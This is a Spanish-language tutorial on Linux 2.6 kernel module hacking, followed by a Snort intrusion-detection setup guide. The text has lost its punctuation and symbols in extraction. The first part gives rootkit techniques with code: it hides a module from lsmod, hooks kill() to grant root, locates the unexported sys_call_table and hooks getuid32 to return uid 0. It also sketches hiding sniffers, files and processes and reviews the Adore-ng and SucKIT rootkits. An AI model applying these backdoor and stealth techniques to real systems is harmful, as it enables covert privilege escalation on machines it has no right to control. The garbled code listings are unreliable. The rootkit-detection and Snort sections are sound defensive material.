Resulta interesante echar un vistazo a ltlinuxmodulehgt porque de ahiacute he sacado la informacioacuten para la estructura module que he utilizado ndash entre otras cosas- para ocultar el moacutedulo Como el Kernel guarda una lista simple enlazada con los moacutedulos cargados es muy faacutecil reajustar los punteros al moacutedulo siguiente para eliminar un elemento existente
Al insertar un nuevo moacutedulo eacuteste pasa a ser la referencia al inicio de la lista de manera que se complica el poder quitarnos a nosotros mismos del medio la solucioacuten como se puede ver no es compleja de entender lo que hacemos es coger el siguiente moacutedulo a nosotros en la lista obtener sus propiedades (las que lsmod muestra) y sacar al moacutedulo suplantado de la lista enlazada lo que no deshabilita el moacutedulo simplemente lo oculta se trata de un camuflaje simple pero funciona y eso es lo que vale
El resto del coacutedigo es lo que vengo haciendo hemos interceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a hook (pid_tpid) que verifica si pid_t = 0 y pid = COOLPID si es asiacute establece los privilegios del proceso a uid =0 (root) y euid=0 la auteacutentica llamada a kill se omite
Ahora voy a tratar cosas maacutes serias al empezar con los moacutedulos para el kernel 26x los cambios no son muchos y es faacutecil una vez visto como se soluciona cierto asunto como podemos ajustar los moacutedulos anteriores para que funcionen en un nuevo Kernel de la serie 26
Kernel hacks y seguridad JMP
7- Moacutedulos para la serie 26 del nuacutecleo
Lo mejor para empezar es ver un listado de coacutedigo
Primer ejemplo de un LKM para la serie 26
1 include ltlinuxinithgt 2 include ltlinuxmodulehgt 3 include ltlinuxkernelhgt 4 static int __init carga(void) 5 6 printk(KERN_INFO LKM preparadon) 7 return 0 8 9 static void __exit descarga(void) 10 11 printk(KERN_INFO Nos vamosn) 12 13 module_init(carga) 14 module_exit(descarga)
Lo que se nota raacutepidamente es que he antildeadido ltlinuxinithgt para las macros module_init y module_exit el caso es que el meacutetodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos Otra cosa he antildeadido ahiacute KERN_INFO a printk cosa que hasta ahora no habiacutea hecho y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad DEFAULT_MESSAGE_LOGLEVEL mirando el fichero kernelh solucionamos dudas sobre esto muestro en todo caso las prioridades ordenadas de mayor a menor
KERN_EMERG lt0gt KERN_ALERT lt1gt KERN_CRIT lt2gt KERN_ERR lt3gt KERN_WARNING lt4gt KERN_NOTICE lt5gt KERN_INFO lt6gt KERN_DEBUG lt7gt
No aparecen arriba define __KERNEL__ y MODULE ya que si lo haces seguramente se te advertiraacute de que las declaraciones estaacuten redefinidas
Kernel hacks y seguridad JMP
Compilacioacuten de LKMs para la serie 26
En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea
obj-m = moduloo
Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar
Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente
root make -C usrsrclinux SUBDIRS=$PWD modules
Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod
8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x
Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo
Encontrando la Sys_call_table[]
Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave
Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema
Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT
Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa
Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario
Kernel hacks y seguridad JMP
Resumiendo
Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)
El hack
Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma
usrsrclinuxarchi386kernelentryS
Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo
system call handler stub
1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw
$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)
6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]
He omitido algunos comentario del fichero y demaacutes por brevedad
Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar
Esto es parte de su contenido
Kernel hacks y seguridad JMP
data ENTRY(sys_call_table)
long sys_restart_syscall 0 - old setup() system call
long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve
long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek
long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access
long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall
y continuacutea
used for restarting
5
10
15
old break syscall holder
20
25
30 old stty syscall holder old gtty syscall holder
35 - old ftime syscall holder
40
old prof syscall holder 45
50
recycled never used phys() old lock syscall holder
Kernel hacks y seguridad JMP
Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente
Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos
Procedo a usar GDB para desensamblar el fichero como muestro en la figura
Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table
Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump
objdump -d entryo|grep ff 14 85
Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos
El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero
Kernel hacks y seguridad JMP
Obtenemos la sys_call_table[] en kernels de la serie 26 test
include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct
unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2
__attribute__ ((packed)) idt
IDTR struct
unsigned short limit unsigned int base
__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)
return 0 el hack static void syscalltable(void)
unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))
printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]
memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn
verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))
i++ sys_call_table =(void) ((int ) ampsccall[i+3])
printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P
Kernel hacks y seguridad JMP
empieza static int __init buscarsct(void)
printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)
syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]
sys_call_table[__NR_getuid32]=cero_uidreturn 0
lo ponemos todo en orden static void __exit descarga(void)
sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)
module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])
Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores
81- Otra alternativa iquestmaacutes sencilla
Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos
No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno
La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora
Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos
usrsrclinuxincludeasm $ vim processorh
Kernel hacks y seguridad JMP
1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la
Sys_call_table[])
Kernel hacks y seguridad JMP
Imagen conceptual del proceso
Kernel hacks y seguridad JMP
9- Hooks y hacks de intereacutes (algunas ideas)
Algunas cosas que podemos hacer en el Kernel
Ocultar un sniffer
Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos
Ocultar ficheros y procesos
iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )
Manipular execve()
Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno
usrsrclinuxincludeasm $ vim unistdh
En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute
Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original
Kernel hacks y seguridad JMP
inicio
int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)
0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))
__syscall_return(long__res)
final
Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM
10- Rootkits visioacuten general
Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host
Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red
De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas
Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute
Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros
Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad
Kernel hacks y seguridad JMP
Ejemplo de un rootkit moderno ldquoAdore-ngrdquo
Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso
Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente
Runs on kernel 24x UP and SMP systems
First test-versions successfully run on 260
File and directory hiding
Process hiding
Socket-hiding (no matter whether LISTENing CONNECTED etc)
Full-capability back door
Does not utilize sys_call_table but VFS layer
KISS principle to have as less things in there as possible but also being as much powerful as possible
Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y
Kernel hacks y seguridad JMP
carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore
La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes
Adore ~034 SucKIT Adore-ng gt=131
Interceptando el flujo de ejecucioacuten
Syscalltable Syscall handler VFS
Transferencia coacutedigo dentro del Kernel
LKM Acceso directo (raw shycrudo) a memoria
LKM
Incluye puerta trasera - Siacute -
Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs
Tabla Comparativa de algunos rootkits
Medidas de proteccioacuten y deteccioacuten de rootkits
Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas
Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten
Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap
linux head Systemmap
00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt
Kernel hacks y seguridad JMP
Otros meacutetodos tiacutepicos
Checksums de ficheros importantes (tripwire aide etc)
Backup de las estructuras centrales del kernel (kstat)
LKMs anti-rootkit
Herramientas forenses (TCT)
Analisis de logs etc
Utilidades para la deteccioacuten (rkhunter chkrootkit)
Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas
httpwwwchkrootkitorg
httpwwwrootkitorg
Conclusiones
Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante
Kernel hacks y seguridad JMP
Snort el cerdito valiente
SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red
Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias
Wreski y Christopher Pallack en Linuxsecuritycom
ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated
Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular
root emerge -pv snort
These are the packages that I would merge in order
Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB
Total size of downloads 0 kB
No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL
httpwwwsnortorgdl
Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio
2- Configuracioacuten baacutesica de Snort
Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de
Kernel hacks y seguridad JMP
Snort Dicho fichero se puede encontrar en
etcsnortsnortconf
pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro
Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso
El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria
Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero
1 Establecer las variables para nuestra red
2 Configurar el preprocesador de Snort
3 Configurar los plugins de salida
4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort
5 Personalizar nuestro set de reglas para Snort
La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea
Paso 1
Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
